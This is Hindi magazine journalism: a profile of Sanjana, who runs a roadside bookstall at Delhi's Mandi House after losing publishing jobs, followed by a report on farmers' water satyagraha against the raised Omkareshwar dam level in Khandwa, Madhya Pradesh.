इस उताव-चढ़ाव के बारे में बात करने से पहले संजना एक शर्त रखती हैं. वो कहती हैं कि शाम का वक्त है, ग्राहक आएंगे. जब आएंगे तो मैं आपको रोक दूंगी. इस शर्त के साथ हमारी बातचीत शुरू होती है. आखिर ऐसा क्या हुआ कि आप इन साहित्यिक किताबों के साथ यूं सड़क किनारे बैठी हैं. वो कहती हैं, ‘वाणी प्रकाशन की दुकान बंद हुई तो मैं 2009 के फरवरी महीने में ज्ञानपीठ प्रकाशन में काम करने लगी. वहां छह महीने काम भी किया. लेकिन एक दिन ज्ञानपीठवालों ने कहा कि मैं एक कागज पर यह लिख दूं कि इस नौकरी की मुझे जरूरत नहीं है और मैं अपनी मर्जी से यह नौकरी छोड़ रही हूं. हालांकि तब मुझे उस नौकरी की बहुत जरूरत थी लेकिन मैंने उन लोगों के मन मुताबिक काम किया और नौकरी छोड़ आई.’

साल भर के अंदर ही संजना दोबारा सड़क पर आ गई थीं. इस बार कई साल लग गए नौकरी खोजने में लेकिन नौकरी नहीं मिली. इस दौरान संजना ने कम्प्यूटर चलाने के साथ उस पर किताब का पेज बनाना भी सीख लिया. फिर भी नौकरी नहीं मिली. दिन गुजरे 2009 से 2013 आ गया. लेकिन संजना अपने लिए एक नई नौकरी नहीं खोज सकीं. इन पांच सालों के दौरान परिवार की हालत भी लगातार खराब होती गई. इस बारे में बात करते हुए संजना हल्के से मुस्कुराते हुए कहती हैं, ‘जब तक जिंदगी है तभी तक संघर्ष है. एक बार जिंदगी खत्म हो गई तो सारा का सारा संघर्ष भी खत्म हो जाएगा. सो मुझे अपने संघर्ष से कोई निराशा नहीं है. इस दुनिया में अपने परिवार को पालना सबसे मुश्किल काम है. मेरे दो बच्चे हैं और मैं उन्हें एक पल के लिए भी निराश नहीं देख सकती. शायद कोई भी मां अपने बच्चों को उदास नहीं देख सकती.’

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फोटो: विकास कुमार

वे आगे कहती हैं, ‘…लेकिन जब ज्ञानपीठ प्रकाशन से मेरी नौकरी गई और मैं बेरोजगार थी तो घर चलाने में बहुत दिक्कत होने लगी. बच्चों की पढ़ाई प्रभावित होने लगी. फिर मैंने फैसला किया, जो पिछले कई सालों से लेना चाह रही थी लेकिन एक अनजाने डर की वजह से बार-बार रुक जाती थी. अपना काम शुरू करने का मन था और फिर श्रीराम सेंटर के बाहर सड़क किनारे किताबों की दुकान लगाने का फैसला कर लिया’. पिछले साल 14 अगस्त को अंजना से पहली दफा कुछेक किताबों के साथ अपना काम शुरू किया.

आज इनके पास तीन से चार हजार किताबें हैं. वो हर रोज अपनी स्कूटी से आती हैं और पास के एक कमरे से सभी किताबें लाकर यहां अपनी दुकान सजाती हैं और रात में किताबें समेटकर वापस घर लौट जाती हैं. संजना बताती हैं, ‘हर रोज इतनी किताबों को लाना, लगाना और फिर इन्हें उठाकर रखना आसान काम तो है नहीं लेकिन कर भी क्या सकते हैं. अब तो मुझे इस काम में मजा आने लगा है. अब इसमें कोई परेशानी भी नहीं होती. यहां लोग भी बहुत अच्छे हैं, अगर दिन में थोड़ी देर के लिए मुझे इधर-उधर जाना होता है तो मैं इनलोगों के भरोसे दुकान छोड़कर चली जाती हूं. रात को नौ-दस बजे मैं अपनी दुकान बढ़ाती हूं लेकिन आजतक किसी ने किसी भी तरह से परेशान नहीं किया. हां, जब एक-दो दफा दिल्ली पुलिस के लोग आए तो इन्हीं बच्चों ने मेरी दुकान बचाई. यही लोग मेरे ग्राहक हैं और इन्हीं लोगों की मदद से मैं अपनी दुकान चला पा रही हूं.’

हर बात मुस्कुराते हुए बोलनेवाली संजना के मन में किसी के लिए कोई कड़वाहट नहीं है. न तो उन्हें वाणी प्रकाशन से नौकरी जाने की शिकायत है और न ही ज्ञानपीठ प्रकाशन से नौकरी छोड़ने का मलाल. वे कहती हैं, ‘शिकायत क्या करना. उनकी नौकरी थी सो जब उन्हें ठीक लगा हटा दिया. अगर वे ऐसा न करते तो आज मैं अपना काम करने की हिम्मत नहीं जुटा पाती. जो हुआ अच्छा हुआ.’

कहानी में कविता-सी लय हो और कविता में कहानी हो. पुराने लेखकों के लेखन में इसकी झलक मिलती है लेकिन आज किताबों में वैसा असर नहीं होता

मूलत: बिहार के सीवान जिले से आनेवाली संजना की खुद की पढ़ाई-लिखाई केवल 12वीं तक हुई है. इसके बाद घरवालों ने उनकी शादी राधेश्याम तिवारी से करवा दी थी. 50 वर्षीय राधेश्याम तिवारी देश के एक बड़े हिंदी अखबार में पिछले कई सालों से पत्रकार हैं लेकिन उनकी तनख्वाह इतनी नहीं कि वह अकेले परिवार का खर्च चला सकें. संजना के मुताबिक, ‘वे एक ऐसे इंसान हैं जिसकी वजह से वह यह सब कर पा रही हैं.’ इस तरह खुले में दुकान लगाने से परिवार या पति को कोई एतराज, के सवाल पर वे कहती हैं, ‘नहीं… मेरे पति या मेरे बच्चों को कभी कोई एतराज नहीं हुआ. हां, कुछ साल पहले सीवान में रह रहे मेरे छोटे भाई को इससे दिक्कत हुई थी और उसने मुझसे कहा था कि मैं किसी को न बताऊं कि मैं उसकी बहन हूं. हालांकि वो मुझसे बहुत छोटा है और मुझे उससे यह सब सुनना अच्छा भी नहीं लगा था लेकिन मैंने उसे तभी कह दिया था. ठीक है, मैं नहीं कहूंगी.’

आज की तारीख में संजना के पास हर वो किताब है जिसे मंडी हाउस आने-जानेवाला व्यक्ति खोज या मांग सकता है. महीने में वे 70 से 75 हजार रुपये की किताबें बेच लेती हैं. बतौर मेहनताना इन्हें इस पर 20 प्रतिशत मिलता है. क्या इंटरनेट के आने से लोग किताबें खरीदना पसंद नहीं कर रहे हैं? इसके जवाब में वे कहती हैं, ‘मुझे ऐसा नहीं लगता. आज से आठ साल पहले जब मैं यहीं वाणी प्रकाशन की नौकरी करती थी तो महीने में 30 या 40 हजार रुपये की किताबें बिकती थीं आज मैं 70 से 75 हजार रुपये की किताबें बेच रही हूं.

अगर इंटरनेट की वजह से फर्क पड़ना होता तो बिक्री घटनी चाहिए थी न? लेकिन ऐसा नहीं हुआ? मैं पहले से ज्यादा किताबें बेच रही हूं. मुझे लगता है कि आज भी पाठक किताब खरीदने से पहले उसे हाथ में उठाकर उलटना-पलटना चाहता है.’ संजना ऐसी पुस्तक विक्रेता हैं जो न सिर्फ किताबें बेचती है, बल्कि उन्हें पढ़ना भी पसंद है. निर्मल वर्मा, प्रेमचंद, रेणु से लेकर तुलसीराम और टीवी पत्रकार रवीश कुमार की हालिया किताब ‘इश्क में शहर होना’ को उन्होंने पढ़ा है. सारी किताबें पढ़ने के सवाल पर संजना कहती हैं, ‘न, न… सारी नहीं कुछेक तो जरूर पढ़ती हूं. इसका दोहरा फायदा है. एक, किताब के बारे में पाठकों को अच्छे से समझा पाती हूं और दूसरी, राधेश्याम जी किताबों की समीक्षा भी लिखते हैं सो उनकी भी मदद कर देती हूं, जिससे उनका काम आसान हो जाता है.’

तकरीबन ढाई-तीन घंटे उनकी दुकान पर रहने पर एक बात साफ समझ आ जाती है कि वहां आनेवाले ज्यादातर ग्राहक आज भी प्रेमचंद, गुलजार, गालिब, इस्मत चुगताई और मंटो की किताबें खोज रहे हैं. हाल में प्रकाशित किताबों को कोई खोजता हुआ नहीं दिखता. सिर्फ पुराने लेखकों की ही किताब रखने के सवाल पर वे तंज कसते हुए कहती हैैं, ‘पुराने लेखक? हिंदी में यही लेखन है और यही लेखक हैं. नया तो कुछ लिखा ही नहीं जा रहा है. कुछेक लेखकों को छोड़ दें तो बाकी तो पुस्तकालयों में सहेजने के लिए ही लिखा और छापा जा रहा है.’ वे आगे कहती हैं, ‘देखिए… हम पाठक को तभी बांध सकते हैं जब लेखन में दम हो. कहानी में कविता-सी लय हो और कविता में कहानी हो.पुराने लेखकों के लेखन में इसकी झलक मिलती है लेकिन आज की ज्यादातर किताबों में वैसा असर नहीं होता.’

संजना का दावा है कि हाल के वर्षों में प्रकाशित किताबों में तुलसीराम की आत्मकथा ‘मुर्दहिया’ और ‘मणिकर्णिका’ और व्यंग्यकार ज्ञान चतुर्वेदी का व्यंग्य ‘हम न मरब’ पाठकों के बीच खासे लोकप्रिय हैं. वहीं टीवी पत्रकार रवीश कुमार की किताब ‘इश्क में शहर होना’ की भी पूछपरख है. फिलहाल संजना को बरसात के दिनों में अपनी दुकान लगाने को लेकर परेशानी का सामना करना पड़ता है. पिछले साल दिसंबर की बेमौसम बरसात में इनकी काफी किताबें भीग गई थीं. आज भी वे सारी बेकार पड़ी हैं. संजना बरसात से बचने का रास्ता जरूर खोज रही हैं लेकिन इससे वे परेशान बिल्कुल नहीं हैं. वे कहती हैं, ‘हर छोटी, बड़ी बात पर परेशान नहीं हुआ जाता. परेशानी में समस्या का हल खोजना मुश्किल होता है. यह आराम से किया जा सकता है. वैसे भी पिछले कई वर्षों में इतनी परेशानियां आईं कि उनके आगे ये सब तो छोटी लगती हैं.’

संजना के चेहरे पर एक बार फिर वही हल्की मुस्कान छा जाती है जिसके साथ मैं उन्हें पिछले कई घंटो से देख रहा हूं. इसी मुस्कान के साथ वो द्वारिका प्रसाद माहेश्वरी की कविता ‘वीर तुम बढ़े चलो’ की कुछ पंक्तियां बोलती हैं- सामने पहाड़ हो / सिंह की दहाड़ हो / तुम निडर डरो नहीं / तुम निडर डटो वहीं / वीर तुम बढ़े चलो!

जल सत्याग्रह: ‘लड़ेंगे-मरेंगे, जमीन नहीं छोड़ेंगे’

देश में भूमि अधिग्रहण कानून को लेकर खूब बहस हो रही है, इधर मध्य प्रदेश में ओंकारेश्वर बांध का जलस्तर बढ़ाए जाने को लेकर करीब एक पखवाड़े से किसान खंडवा जिले के घोघल गांव में जल सत्याग्रह कर रहे हैं. लगातार पानी में खड़े होने से सत्याग्रही किसानों के पैरों की त्वचा भी गलने लगी व खून का रिसाव शुरू हो चुका है. इतना सब होने के बावजूद प्रदेश सरकार उदासीन नजर आ रही है, लेकिन जल सत्याग्रही ‘लड़ेंगे, मरेंगे जमीन नहीं छोड़ेंगे’ के नारों के साथ डटे हुए हैं.
पिछले दिनों मध्य प्रदेश सरकार द्वारा बांध का जलस्तर 189 से बढ़ाकर 191 मीटर कर दिया गया है जिससे क्षेत्र के किसानों की कई एकड़ उपजाऊ जमीन डूब क्षेत्र में आ गई है. किसानों का कहना है कि उनकी उपजाऊ जमीनों के बदले जो जमीन दी गई है वह किसी काम की नहीं है. बीते 11 अप्रैल को नर्मदा बचाओ आंदोलन और ‘आप’ के नेतृत्व में यह जल सत्याग्रह शुरू किया था. मांग है कि पुनर्वास नीति के तहत जमीन के बदले जमीन और सर्वोच्च न्यायालय द्वारा निर्धारित मुआवजा दिया जाए. आंदोलनकारियों के समर्थन में दिल्ली और प्रदेश के मुख्यमंत्रियों को पत्र भी लिख चुके हैं जिसमें उचित पुनर्वास की मांग की गई है.

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इससे पहले वर्ष 2012 में भी राज्य सरकार ने सर्वोच्च न्यायालय के फैसले एवं पुनर्वास नीति को नजरअंदाज करते हुए बांध को 189 से बढ़ाकर 193 मीटर तक भरने का निर्णय लिया था जिससे 1000 एकड़ जमीन और 60 गांव डूबने की कगार पर आ चुके थे. इसके विरोध में इसी घोघलगांव में 51 पुरुष और महिलाएं जल सत्याग्रह करने लगे जिनके समर्थन में वहां 250 गांवों के करीब 5000 लोग जुड़ गए थे. आंदोलन 17 दिनों तक चला और सरकार द्वारा जमीन के बदले जमीन देने और बांध के जलस्तर को 189 मीटर पर नियंत्रित रखने के आदेश के बाद आंदोलन समाप्त हुआ था.

अब एक बार फिर वही कहानी दोहराई जा रही है लेकिन इस बार सरकार किसानों और प्रभावितों की बात ही सुनने को तैयार नहीं दिखाई पड़ती है, अभी तक कोई भी सरकारी नुमाइंदा उनकी बात सुनने नहीं आया है. उलटे राज्य सरकार के नर्मदा घाटी विकास राज्यमंत्री लाल सिंह आर्य ने इस आंदोलन का आधारहीन करार देते हुए कहा है, ‘महज कुछ लोग ही जलस्तर बढ़ाने का विरोध कर रहे हैं… ओंकारेश्वर नहर से हजारों किसानों को सिंचाई का लाभ देने का विरोध समझ से परे है.’ मुख्यमंत्री शिवराज सिंह ने भी कहा, ‘निमाड़ अंचल के किसानों की समृद्घि के लिए ओंकारेश्वर बांध की ऊंचाई 191 मीटर तक करना जरूरी है इसलिए जो लोग भ्रम में आकर जल सत्याग्रह कर रहे हैं वे तत्काल इसे समाप्तकर उत्सव मनाएं.’ वहीं नर्मदा बचाओ आंदोलन के वरिष्ठ कार्यकर्ता और आप के प्रदेश संयोजक आलोक अग्रवाल का कहना है कि किसी के दर्द पर विकास का उत्सव नहीं मनाया जाना चाहिए. उनका आरोप है कि विस्थापितों को बंजर और अतिक्रमित जमीन देकर धोखा दिया गया और आज तक एक भी प्रभावित को सर्वोच्च न्यायालय के आदेश के अनुसार सिंचित और उपजाऊ जमीन नहीं दी गई है.
ओंकारेश्वर बांध से प्रभावित रमेश कडवाजी जैसे किसान सत्याग्रह जारी रखे हुए हैं. उनकी 4.5 एकड़ जमीन डूब में आ रही है. शीर्ष अदालत के आदेश के बाद शिकायत निवारण प्राधिकरण ने कहा था कि वे 5 एकड़ जमीन के पात्र हैं. आदेश के अनुसार रमेश ने मुआवजे के मिले 3 लाख रुपये वापस कर दिए. इसके बदले में उन्हें अतिक्रमित व गैर उपजाऊ जमीन दिखाई गई, जिसे उन्होंने लेने से इंकार कर दिया. अभी तक उन्हें कोई दूसरी जमीन नहीं दिखाई गई है. अब उन जैसे सैकड़ों किसान अपने पैरों को सड़ाकर अपना प्रतिरोध जताने को मजबूर है.